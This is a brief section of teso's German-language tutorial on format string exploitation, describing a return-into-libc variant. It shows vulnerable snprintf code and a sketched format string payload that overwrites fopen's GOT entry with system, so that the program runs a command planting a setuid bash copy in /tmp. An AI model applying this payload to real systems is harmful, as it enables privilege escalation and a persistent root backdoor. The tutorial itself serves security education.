(c) teso. all rights reversed.
exploiting format string vulnerabilities - Return into LibC

Return into LibC

Manchmal gibt es einen noch direkteren Weg zum Ziel:
        FILE *  f;
        char    foobuf[512];

        snprintf (foobuf, sizeof (foobuf), user);
        foobuf[sizeof (foobuf) - 1] = '\0';
        f = fopen (foobuf, "r");
Warum nicht einfach den GOT Eintrag von "fopen" mit dem von "system" überschreiben, und einen Format-String der Art:
        "/bin/sh -c \"cd /tmp;cp /bin/bash .;chmod 4777 bash;exit;\""
        "<stackpop>%16u%n%16u%n%32u%n%64u%n"
verwenden ? Direkter gehts nicht :-)

Denn beim Aufruf von "fopen", wird in Wirklichkeit "system" aufgerufen, und zwar (wenn alles korrekt lief) mit einem Pointer auf unseren Buffer, der die Shell ausführt: system ("/bin/sh -c .....").

Alternativ kann man in die LibC returnen, wie schon angesprochen [1].
<< - < - > - >>